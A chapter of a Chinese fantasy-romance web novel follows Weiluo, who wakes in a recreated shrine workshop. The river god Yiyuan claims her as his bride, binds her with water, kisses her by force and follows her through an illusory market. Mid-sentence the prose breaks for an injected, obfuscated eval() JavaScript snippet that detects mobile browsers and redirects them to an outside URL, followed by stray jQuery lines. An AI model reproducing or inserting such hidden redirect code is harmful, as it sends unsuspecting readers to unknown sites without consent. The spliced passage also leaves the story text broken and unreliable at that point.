薇洛再睁眼,已躺在低矮的木床上。
看着侧开了小窗的熟悉木屋,她弹了起来,上下摸了摸。
她在哪?她还活着吗?那圈着她的水流呢?
胸腔里,心跳声平缓,身上暖暖的,她还活着,甚至全身装束整齐,连脱掉的鞋袜都干了,被穿在脚上,心爱的遮面帷帽也不知所踪。
右脸的脸颊有些凉,像是在什么水凉的地方贴久了。
屋子里只有她一个人,薇洛暗暗松了口气,摸索起这地方。
矮床、小桌、小窗入手踏实,简陋的布置和她生活了十年的河神坊一模一样,令她不禁想起被困的日子、那捆人掉进金钱窟的嘴脸,胃有些难受。
可是,河神坊已被她一把火烧没了,她亲眼看着它在烈火中焚烬,又怎么可能出现在这?
站在桌前的薇洛霎时觉得窗口斜进来的阳光不真实起来,她真的在人世、在河神坊吗?
木桌上理应空无一物,现在却多了叠成长方形的红纸。
封页上的二字用了金色的颜料,在阳光下有些晃眼,她举起来,避开光线,皱了皱眉:“聘书?”
不妙的预感横生。
打开一看:七月初七,迎吾妻薇洛归家成亲。
笔画分明,阳光冷了下来。
薇洛脑中的线索串连一气:
七月七,河神祭,是娶亲祭。
汗毛直立,她扔脏东西似地扔下聘书,只想趁那“水蛇”未归,赶紧离开这里。
膝盖曾在幼时被敲碎过,她对抗着发僵与无力,朝门快步冲去,身后的红纸久久未落。
没踏几步,异样突生,手臂被什么凉凉的东西缠上了,难以扯动。
薇洛缓缓侧头。
昨夜见过的熟悉清流,盘在地上,细小而缠人地紧顺臂膀攀升,逆势而上,要让她留下来。
冰凉,入侵肌肤。
“滚开!”
薇洛喊着,用力甩手,咬牙朝门迈步。
只差两个身位了!
亦或是汗,亦或是水,冷冷地浸|透全身,衣裳在不知不觉中湿透了,颜色渐深。
水流力道未改。
薇洛一步一步前进,待够到门环,衣袖的变化让她惊惶地瞥了眼。
素白的衣袖深成了枣红色,斜在身上衣带也被换成了浅黄的飘带,齐胸儒裙成了青绿色,还缀有金花。
婚服已换,祭还会远吗?
她伸手握住门把一拉,刚瞥见外头的长廊,就脚下一空,离地而起。
身侧贴上湿冷的气息,那人垂着头,吐气幽恨:“洛洛又打算跑去哪?”
河神?
薇洛悄悄瞅了眼,张了张嘴,有些说不出话。
这音色清冽缠耳、叫人快要忽略话里话外怪异的家伙虽生着狭长有峰的眉、眼尾略微上挑的桃花眼,但却脸色青白,像是只缠人的怨鬼精怪,同莫名改换的嫁衣一起,都在阻拦她奔赴自由。
“嗯?”这鬼怪歪了歪头,竟还在等她答话。
颈前河神赐福的印记毫无反应,祂定是装作河神的妖怪。
薇洛冷着脸,偏不答这鬼物蛊惑人心的说辞,余光扫了扫与门的距离,直接揪出祂手臂上的小肉,用力一攥。
寻常生命在这样的力道下就已吃痛放手,谁料这家伙竟微低着头,无甚表情道:“娘子不认识为夫了?”
胡说什么?薇洛瞪祂一眼,瘦白的手指越捏越紧。
假鬼物,真河神,夷渊凝望着她,墨黑的眼珠愈发黑沉,暗藏着炽热。
这是祂心爱的娘子,祂执拗等待了她千年,未曾想千年后见的第一面,没有等来千年不归的解释,只等到这狠心的举动。
曾经的相守之言皆是虚言,那印记果然也是她为离开故意引祂留下的。
那些等待中的反复纠结、无言守望、静静描绘面容,都在自由奔放、美好如阳的她狠心揪祂、奋力逃脱时成了笑话。
夷渊捏住这素雅怜人的小脸,本欲平静下来的气息愈发压制不住。
她既活生生出现在祂眼前,还对祂生气,就说明她对祂有情,别怪祂不放手了。
窗外,天上乌云密布,同阴沉的南河相映,隐隐透着亮。
薇洛只觉那宽大修长的手指几乎占据满了她的下颌。
祂引她抬头,漆黑的眸子无端弯了弯,却毫无笑意:“抓住你了,洛洛。”
不待多问,妖异俊美的容颜已越放越大。
她眼瞳一缩。
可无论她怎么揪手、蹬胳膊、踢膝盖,这鬼物都不肯放手,甚至有水流从祂身侧伸出,与手遣倦交握,圈住她挣扎的脚。
青白与玉白紧扣。
阴冷潮湿的水汽灌入唇齿,可乌发如瀑,纠葛在一起,挡住阳光窥|探的视线。
她杏眼颤动。
无法逃离,那双沉沉的黑眸里盛满陌生而不可抵挡的炽热。
但她不知,这双多情的桃花眼已无波了近千年。
夷渊甚至不敢闭上眼,生怕她忽的不见,祂只想深深地看她一眼,再多看几眼,确认她是真实的,才肯阖眼。
祂抓住她了,这骗心后逃跑的骗子。
这次,祂要她用生生世世抵债,再不离开祂身边。
两米高的“人”弯着腰,暗暗勾唇,可想到她有可能再次离开,祂的手便越拥越紧。
身躯紧贴,长时间未有动作,高悬在臂弯处的红鞋晃了晃。
薇洛被祂冻得轻颤。
贴着她的身躯冷得像化不开的寒冰,胸腔也无心跳,可祂的气却是似曾相识的湿热,但于她又是陌生的。
她好像曾经历,却毫无印象。
水流察觉到被圈着的小腿在颤动,夷渊还以为这又是要走,用力抱紧她。
曾相伴数十载,再相遇迟了千年。
听见她“唔唔”出声,夷渊这才发觉掌下的身躯虽温热依旧,但小脸已开始有些冰凉,同祂那一潭死水的身躯一般,像是不在了。
祂有些后怕,松了口。
湿发滴落水珠,冷硬地滴落在她颈前地印记上。
冰凉又生疼,是南河的水。
那冰蓝色的鱼尾印记颜色深了,散着柔光。
生疼涌入鼻腔,是此刻,也是很久很久以前坠入南河后的感觉。
河水冷得渗进骨头里,她的膝盖怎么使劲也动弹不得。
平日途经见到的青青水面,深|入其中却只见深沉的黑。
亮光浮游于河面,离她很远很远。
气泡从口鼻溢出,水填了进去。
她乌黑的发丝在水中飘摇,下坠了不知多久,串串气泡抛下她独自游向水面求生。
颈前,河神夷渊留下的鱼尾印记在一片深黑中散着淡淡蓝光,没有呼唤来能为她带来生机的祂。
说好相守的人直到此刻也该是同先前离开时说的一样,在忙,没空。
罢了。
愈是沉入河底,手指越是无力。
头脑发僵,困倦攀着眼皮,她睁开眼,鱼尾在高处晃现,难以置信地眨眨眼……原来那只是水面上浮着的光。
记忆里,薇洛闭上眼,沉沉睡去。
此刻,她猛地睁开眼,对上祂同眉一般狭长的睫毛和黑沉炽热的眸。
薇洛大口呼吸着新鲜空气,抬手就是一掌,却被水流拦下:“洛洛为何打我?”
实力差距过大,她只能当是被鱼啃了一口,咬了咬牙,“你这是想弄死我。”
“洛洛怎么会这么想?”夷渊笑着反问,眉眼微弯,肤色青白的面容上绽出勾人的笑,“我这是报答你啊。”
屋子本身和其紧闭的屋门就已令人不适,薇洛不语,只是看着祂,眸里隐含着冷峻,“放我下来。”
水流遣倦地轻触了下那鱼尾印记,寒凉无比,惹得脖
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108357|179886||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
颈上有鸡皮疙瘩浮现,薇洛抬手护住,淡雅的眉眼里寒霜彻底显现。
祂退了一步,解释起来:“是昨夜的事。”
她以烈火焚烬那帮骗子,解开了加在祂身上的规则束缚,得以穿梭两界。
“世人常说滴水之恩,当涌泉相报,”夷渊笑着伸掌,有水聚成昨夜她用过的瓶子,浮在祂手中,“我不仅为洛洛处理了后续,还以身相许来了。”
想着河神娶亲的聘书,想着前世的相守虚言和溺亡于南河的感觉,薇洛冷下脸,讥言相拒:“以身相许?怎么,你嫁我吗?”
夷渊的笑僵了下,桃花眼里的黑沉深不见底。
世俗伦理皆是男娶女嫁,祂身为河神又怎会不知。
薇洛挡住颈前印记,盯着祂,偷偷往后挪了几步,靠近门口。
才走了两三步,披着红衣的“人”瞬步贴近。
“好啊,洛洛喜欢,父君嫁给娘子也无不可,”祂温和地笑笑,话里竟燃着炽热的疯火,“我们今日便行了礼吧。”
湿冷的气息喷洒在颈侧。
“荒唐!”薇洛躲了躲,“世俗伦理里,这于你可是奇耻大辱!”
“世俗伦理是人的理,与我何干?”夷渊继续迈进,微弯的眼似笑非笑,“你既知这这只是于我的奇耻大辱,又为何要避?”
祂不断前进,薇洛只好步步后退,直到后背轻抵门板,她暗暗握住门把。
见她不答,祂扯了扯唇角,眼里似有星点红意闪过。
“难不成,你记得上辈子的事。”
薇洛反手推门,勾唇反驳:“上辈子?人能记得上辈子的事吗?”
闪身间,素雅的面容绽开笑颜,霎时美|艳极了。
夷渊定定看了会,嘴角笑容的弧度分毫未改,身侧的水流抵住合上的门板,古井无波的眸子直勾勾地“跟”着她出了门。
屋外的布置与南河两岸的市集别无二致,薇洛拖着步子行进在熟悉的街坊上。
卖糖葫芦的、卖花、卖胭脂的店,布置分毫不差。
店里也有人,都静静地望着她,祈愿喘病早日好的老伯今天也大气不喘。
平日常听虫鸣一声不响,薇洛没作声,小步往河边挪,远离了这些店。
青天白日,南河没什么波澜,只静淌着。
两岸屋子的阴影有时矮了一下,又很快补上。
薇洛脚步未停,回头看看。
“河神坊”门口,青白人影远远地站在那,立于阴影里,幽幽地凝视着她,一动不动。
对上她的眼眸,祂笑了下,迈开大步。
她抬腿,再抬腿。
祂一下经过了两间铺子。
快点,再快点!
她喘着气,急促行进,边回头看看。
待经过桥侧,再回头,祂不见了。
踩到什么,她脚下一个踉跄,跟前的石板路上多了双带着金边的乌皮六合靴,再往上看,是黑金交织的蹀躞带,上头绣着贝壳大小的鳞片,同鱼尾印记上的一样。
“小心啊,”她绿色儒裙下的双膝被青白的大手扶住,见玉白搭在青白上,祂勾了勾唇,“怎么又落我手里了?”
薇洛撑起身,儒裙飞似的远离祂。
她站在祂一米远处,看了眼后头,是什么绊倒了她?
“印记、印记……”,桥的“阴影”蠕动正在蠕动,它们爬离了桥,执拗地靠近她,嘴角分泌着可疑的液体。
鱼尾印记?薇洛微微皱眉,被三、四道痴痴爬近的“阴影”逼得后退几步。
它们似人非人,满身散着黑色的怨气,这执念不消的模样,像是那捆骗子时不时提到的怨鬼。
当她退到祂周围时,它们便不敢再进,薇洛冷了眼,侧头瞧祂,“这些也是你安排的?”
夷渊只静静同她对视了眼,便上前一脚踩灭它们,祂回头笑看着她,“是啊,洛洛玩的尽兴吗?”